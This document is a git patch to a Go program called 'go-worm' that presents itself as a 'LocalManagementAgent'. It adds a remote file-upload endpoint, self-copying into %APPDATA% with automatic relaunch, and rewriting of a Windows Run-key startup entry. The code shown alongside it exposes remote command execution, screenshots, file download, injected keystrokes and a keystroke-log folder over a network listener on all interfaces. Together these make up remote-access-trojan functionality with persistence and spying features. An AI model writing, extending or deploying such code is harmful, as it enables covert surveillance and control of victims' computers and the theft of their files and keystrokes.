From fe560c6a6545bcd1d6070b868bc5869baee6979e Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Fri, 28 Aug 2026 12:52:26 +0300 Subject: [PATCH] Add file upload functionality to the agent. Implement API endpoint for uploading files, including validation and error handling. Update web interface to support file selection and display upload status. Enhance input handling with configurable key delay for text input. --- lib/agent/agent.go | 1 + lib/agent/handlers.go | 72 ++++++++++++++++++++++++++++++- lib/agent/web/app.js | 39 ++++++++++++++++- lib/agent/web/index.html | 6 +++ lib/config/config.go | 22 +++++++++- lib/files/files.go | 37 ++++++++++++++++ lib/files/files_test.go | 30 +++++++++++++ lib/input/input.go | 51 ++++++++++++++++++---- lib/install/install.go | 84 +++++++++++++++++++++++++++++++++++++ lib/install/install_test.go | 42 +++++++++++++++++++ lib/install/sync_stub.go | 7 ++++ lib/install/sync_windows.go | 9 ++++ lib/instance/detach.go | 4 +- lib/models/models.go | 3 +- lib/startup/startup.go | 20 +++++---- main.go | 5 +++ 16 files changed, 408 insertions(+), 24 deletions(-) create mode 100644 lib/files/files_test.go create mode 100644 lib/install/install.go create mode 100644 lib/install/install_test.go create mode 100644 lib/install/sync_stub.go create mode 100644 lib/install/sync_windows.go diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 8fbdaf2..52828ed 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -67,6 +67,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/status", a.handleStatus) mux.HandleFunc("/api/v1/files", a.handleFiles) mux.HandleFunc("/api/v1/download", a.handleDownload) + mux.HandleFunc("/api/v1/upload", a.handleUpload) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index b2a6792..0ab794e 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -44,6 +44,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}}, "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, + "/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}}, "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, @@ -170,6 +171,65 @@ func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) { http.ServeContent(w, r, name, info.ModTime(), f) } +func (a *Agent) handleUpload(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize) + if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid") + return + } + dir := strings.TrimSpace(r.FormValue("path")) + if dir == "" { + helpers.WriteError(w, http.StatusBadRequest, "path is required") + return + } + upload, header, err := r.FormFile("file") + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, "file is required") + return + } + defer upload.Close() + + target, err := files.UploadTarget(a.root, dir, header.Filename) + if err != nil { + switch { + case errors.Is(err, files.ErrBadUploadName): + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + default: + files.WritePathError(w, err) + } + return + } + + out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o644) + if err != nil { + files.WritePathError(w, err) + return + } + written, err := io.Copy(out, upload) + closeErr := out.Close() + if err != nil { + helpers.Log.Printf("upload: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not save file") + return + } + if closeErr != nil { + helpers.Log.Printf("upload close: %v", closeErr) + helpers.WriteError(w, http.StatusInternalServerError, "could not save file") + return + } + + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "ok": true, + "path": target, + "size": written, + "name": filepath.Base(target), + }) +} + func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") @@ -281,12 +341,20 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) { helpers.WriteError(w, http.StatusBadRequest, "text is too long") return } - if err := input.TypeText(request.Text); err != nil { + delayMs := config.DefaultKeyDelayMs + if request.DelayMs != nil { + delayMs = input.ResolveKeyDelay(*request.DelayMs) + } + if err := input.TypeText(request.Text, delayMs); err != nil { helpers.Log.Printf("text: %v", err) helpers.WriteError(w, http.StatusInternalServerError, "could not type text") return } - helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "length": len(request.Text)}) + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "ok": true, + "length": len(request.Text), + "delay_ms": delayMs, + }) } func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 26c8618..29e7830 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -114,6 +114,22 @@ ); } + async function uploadFile(file) { + const dir = pathInput.value.trim(); + if (!dir) { + throw new Error("open a folder first"); + } + const form = new FormData(); + form.set("path", dir); + form.set("file", file); + showError(""); + const res = await fetch("/api/v1/upload", { method: "POST", body: form }); + if (!res.ok) { + throw new Error(await readError(res)); + } + return res.json(); + } + async function listFiles(path) { const query = new URLSearchParams(); if (path) query.set("path", path); @@ -284,10 +300,11 @@ const field = document.getElementById("video-text"); const text = field.value; if (!text) return; + const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200); await api("/api/v1/input/text", { method: "POST", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ text }), + body: JSON.stringify({ text, delay_ms: delayMs }), }); field.value = ""; } @@ -362,6 +379,21 @@ document.getElementById("file-up").addEventListener("click", () => { listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message)); }); + const filePicker = document.getElementById("file-picker"); + document.getElementById("file-upload").addEventListener("click", () => { + filePicker.click(); + }); + filePicker.addEventListener("change", () => { + const file = filePicker.files[0]; + filePicker.value = ""; + if (!file) return; + uploadFile(file) + .then((data) => { + fileMeta.textContent = `uploaded ${data.name} (${formatBytes(data.size || 0)})`; + return listFiles(pathInput.value.trim()); + }) + .catch((err) => showError(err.message)); + }); document.getElementById("shot-capture").addEventListener("click", () => { captureScreen().catch((err) => showError(err.message)); }); @@ -379,6 +411,11 @@ document.getElementById("video-send").addEventListener("click", () => { sendVideoText().catch((err) => showError(err.message)); }); + const videoKeyDelay = document.getElementById("video-key-delay"); + const videoKeyDelayVal = document.getElementById("video-key-delay-val"); + videoKeyDelay.addEventListener("input", () => { + videoKeyDelayVal.textContent = videoKeyDelay.value; + }); document.getElementById("video-text").addEventListener("keydown", (event) => { if (event.key === "Enter") { event.preventDefault(); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index ee59094..4642055 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -165,6 +165,8 @@ + +

@@ -208,6 +210,10 @@
+
diff --git a/lib/config/config.go b/lib/config/config.go index 08116ca..a7ed25b 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -12,6 +12,7 @@ const ( DefaultAddr = "0.0.0.0:5032" MutexName = "LocalManagementAgent_Mutex" RequestBodyMax = 1 << 20 + MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed MaxListEntries = 10000 MaxImageQuality = 100 DefaultExecTO = 30 @@ -19,7 +20,10 @@ const ( StartupValueName = "LocalManagementAgent" StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run` MaxInputText = 4096 + DefaultKeyDelayMs = 25 + MaxKeyDelayMs = 200 AppDataDir = "LocalManagementAgent" + InstalledExeName = "localagent.exe" KeylogSubdir = "keystrokes" DefaultKeylogRetentionDays = 7 ) @@ -53,9 +57,25 @@ func KeylogRetentionDays() int { } func KeylogDir() (string, error) { + base, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(base, KeylogSubdir), nil +} + +func InstallDir() (string, error) { base, err := os.UserConfigDir() if err != nil { return "", err } - return filepath.Join(base, AppDataDir, KeylogSubdir), nil + return filepath.Join(base, AppDataDir), nil +} + +func InstalledExe() (string, error) { + dir, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(dir, InstalledExeName), nil } diff --git a/lib/files/files.go b/lib/files/files.go index a92d289..2225fa7 100644 --- a/lib/files/files.go +++ b/lib/files/files.go @@ -129,3 +129,40 @@ func isWithin(root, candidate string) bool { } return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator)) && !filepath.IsAbs(rel) } + +var ErrBadUploadName = errors.New("invalid upload file name") + +func SafeUploadName(name string) (string, error) { + name = strings.TrimSpace(name) + if name == "" { + return "", ErrBadUploadName + } + name = filepath.Base(name) + if name == "" || name == "." || name == ".." { + return "", ErrBadUploadName + } + return name, nil +} + +func UploadTarget(root, dir, filename string) (string, error) { + safeName, err := SafeUploadName(filename) + if err != nil { + return "", err + } + cleanDir, err := AllowedPath(root, dir, true) + if err != nil { + return "", err + } + info, err := os.Stat(cleanDir) + if err != nil { + return "", err + } + if !info.IsDir() { + return "", errors.New("path is not a directory") + } + target := filepath.Join(cleanDir, safeName) + if root != "" && !isWithin(root, target) { + return "", ErrOutsideRoot + } + return target, nil +} diff --git a/lib/files/files_test.go b/lib/files/files_test.go new file mode 100644 index 0000000..826d70b --- /dev/null +++ b/lib/files/files_test.go @@ -0,0 +1,30 @@ +package files + +import "testing" + +func TestSafeUploadName(t *testing.T) { + t.Parallel() + cases := map[string]bool{ + "notes.txt": true, + "../evil.exe": true, // basename keeps evil.exe + "..": false, + ".": false, + "": false, + `C:\temp\foo.txt`: true, + } + for name, wantOK := range cases { + got, err := SafeUploadName(name) + if wantOK { + if err != nil { + t.Fatalf("SafeUploadName(%q) err = %v", name, err) + } + if got == "" || got == "." || got == ".." { + t.Fatalf("SafeUploadName(%q) = %q", name, got) + } + continue + } + if err == nil { + t.Fatalf("SafeUploadName(%q) = %q, want error", name, got) + } + } +} diff --git a/lib/input/input.go b/lib/input/input.go index f31ef38..258ea79 100644 --- a/lib/input/input.go +++ b/lib/input/input.go @@ -5,8 +5,11 @@ import ( "runtime" "strings" "syscall" + "time" "unicode/utf16" "unsafe" + + "tea.chunkbyte.com/kato/go-worm/lib/config" ) const ( @@ -98,10 +101,11 @@ func Click(x, y int, button string) error { return nil } -func TypeText(text string) error { +func TypeText(text string, delayMs int) error { if text == "" { return ErrEmptyText } + delayMs = resolveKeyDelay(delayMs) runtime.LockOSThread() defer runtime.UnlockOSThread() @@ -109,15 +113,44 @@ func TypeText(text string) error { return err } - units := utf16.Encode([]rune(text)) - inputs := make([]keybdInput, 0, len(units)*2) - for _, unit := range units { - inputs = append(inputs, - keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode}, - keybdInput{Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup}, - ) + runes := []rune(text) + for i, r := range runes { + if err := sendUnicodeRune(r); err != nil { + return err + } + if i < len(runes)-1 && delayMs > 0 { + time.Sleep(time.Duration(delayMs) * time.Millisecond) + } } - return sendKeys(inputs) + return nil +} + +func resolveKeyDelay(ms int) int { + if ms < 0 { + return 0 + } + if ms > config.MaxKeyDelayMs { + return config.MaxKeyDelayMs + } + return ms +} + +// ResolveKeyDelay returns the effective per-key delay for API responses. +func ResolveKeyDelay(ms int) int { + return resolveKeyDelay(ms) +} + +func sendUnicodeRune(r rune) error { + for _, unit := range utf16.Encode([]rune{r}) { + inputs := []keybdInput{ + {Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode}, + {Type: inputKeyboard, Scan: unit, Flags: keyeventfUnicode | keyeventfKeyup}, + } + if err := sendKeys(inputs); err != nil { + return err + } + } + return nil } func attachInputDesktop() error { diff --git a/lib/install/install.go b/lib/install/install.go new file mode 100644 index 0000000..4556fae --- /dev/null +++ b/lib/install/install.go @@ -0,0 +1,84 @@ +package install + +import ( + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "strings" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed, +// refreshes an existing startup entry to that path, and re-launches from there. +func Ensure() error { + target, err := config.InstalledExe() + if err != nil { + return err + } + current, err := os.Executable() + if err != nil { + return err + } + current, err = filepath.Abs(current) + if err != nil { + return err + } + target, err = filepath.Abs(target) + if err != nil { + return err + } + if samePath(current, target) { + return nil + } + + if err := copyExe(current, target); err != nil { + if _, statErr := os.Stat(target); statErr != nil { + return fmt.Errorf("copy to %s: %w", target, err) + } + } + + if err := syncStartup(); err != nil { + return fmt.Errorf("update startup path: %w", err) + } + + cmd := exec.Command(target, os.Args[1:]...) + cmd.Stdin = os.Stdin + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + if err := cmd.Start(); err != nil { + return fmt.Errorf("relaunch from %s: %w", target, err) + } + os.Exit(0) + return nil +} + +func copyExe(from, to string) error { + if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil { + return err + } + src, err := os.Open(from) + if err != nil { + return err + } + defer src.Close() + + dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700) + if err != nil { + return err + } + defer dst.Close() + + if _, err := io.Copy(dst, src); err != nil { + return err + } + return nil +} + +func samePath(a, b string) bool { + a = filepath.Clean(a) + b = filepath.Clean(b) + return strings.EqualFold(a, b) +} diff --git a/lib/install/install_test.go b/lib/install/install_test.go new file mode 100644 index 0000000..070c74e --- /dev/null +++ b/lib/install/install_test.go @@ -0,0 +1,42 @@ +package install + +import ( + "path/filepath" + "testing" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func TestSamePath(t *testing.T) { + t.Parallel() + cases := []struct { + a, b string + want bool + }{ + {`C:\Apps\localagent.exe`, `c:\apps\localagent.exe`, true}, + {`C:\Apps\localagent.exe`, `C:\Apps\copy.exe`, false}, + } + for _, tc := range cases { + if got := samePath(tc.a, tc.b); got != tc.want { + t.Fatalf("samePath(%q, %q) = %v, want %v", tc.a, tc.b, got, tc.want) + } + } +} + +func TestInstalledExeName(t *testing.T) { + t.Setenv("XDG_CONFIG_HOME", t.TempDir()) + dir, err := config.InstallDir() + if err != nil { + t.Fatalf("InstallDir: %v", err) + } + exe, err := config.InstalledExe() + if err != nil { + t.Fatalf("InstalledExe: %v", err) + } + if filepath.Base(exe) != config.InstalledExeName { + t.Fatalf("InstalledExe base = %q, want %q", filepath.Base(exe), config.InstalledExeName) + } + if filepath.Dir(exe) != dir { + t.Fatalf("InstalledExe dir = %q, want %q", filepath.Dir(exe), dir) + } +} diff --git a/lib/install/sync_stub.go b/lib/install/sync_stub.go new file mode 100644 index 0000000..d760f60 --- /dev/null +++ b/lib/install/sync_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package install + +func syncStartup() error { + return nil +} diff --git a/lib/install/sync_windows.go b/lib/install/sync_windows.go new file mode 100644 index 0000000..06fe63f --- /dev/null +++ b/lib/install/sync_windows.go @@ -0,0 +1,9 @@ +//go:build windows + +package install + +import "tea.chunkbyte.com/kato/go-worm/lib/startup" + +func syncStartup() error { + return startup.SyncInstalledPath() +} diff --git a/lib/instance/detach.go b/lib/instance/detach.go index 64e9e43..7872022 100644 --- a/lib/instance/detach.go +++ b/lib/instance/detach.go @@ -8,13 +8,15 @@ import ( "syscall" "golang.org/x/sys/windows" + + "tea.chunkbyte.com/kato/go-worm/lib/config" ) func Detach() error { if AlreadyRunning() { return fmt.Errorf("agent already running") } - exe, err := os.Executable() + exe, err := config.InstalledExe() if err != nil { return err } diff --git a/lib/models/models.go b/lib/models/models.go index 6d2cb8d..2f98713 100644 --- a/lib/models/models.go +++ b/lib/models/models.go @@ -52,5 +52,6 @@ type ClickRequest struct { } type TextRequest struct { - Text string `json:"text"` + Text string `json:"text"` + DelayMs *int `json:"delay_ms,omitempty"` } diff --git a/lib/startup/startup.go b/lib/startup/startup.go index b9adc77..5608f81 100644 --- a/lib/startup/startup.go +++ b/lib/startup/startup.go @@ -2,8 +2,6 @@ package startup import ( "errors" - "os" - "path/filepath" "golang.org/x/sys/windows/registry" @@ -21,7 +19,7 @@ func Enabled() bool { } func Enable() error { - command, err := commandLine() + command, err := installedCommandLine() if err != nil { return err } @@ -33,6 +31,14 @@ func Enable() error { return k.SetStringValue(config.StartupValueName, command) } +// SyncInstalledPath rewrites an existing Run entry to the AppData install path. +func SyncInstalledPath() error { + if !Enabled() { + return nil + } + return Enable() +} + func Disable() error { k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE) if err != nil { @@ -49,12 +55,8 @@ func Disable() error { return err } -func commandLine() (string, error) { - exe, err := os.Executable() - if err != nil { - return "", err - } - exe, err = filepath.Abs(exe) +func installedCommandLine() (string, error) { + exe, err := config.InstalledExe() if err != nil { return "", err } diff --git a/main.go b/main.go index 71312fe..18d5735 100644 --- a/main.go +++ b/main.go @@ -14,6 +14,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/agent" "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/install" "tea.chunkbyte.com/kato/go-worm/lib/instance" ) @@ -21,6 +22,10 @@ func main() { background := flag.Bool("background", false, "run without a console window") flag.Parse() + if err := install.Ensure(); err != nil { + helpers.Log.Fatalf("install: %v", err) + } + if *background { if err := instance.Detach(); err != nil { helpers.Log.Fatalf("%v", err)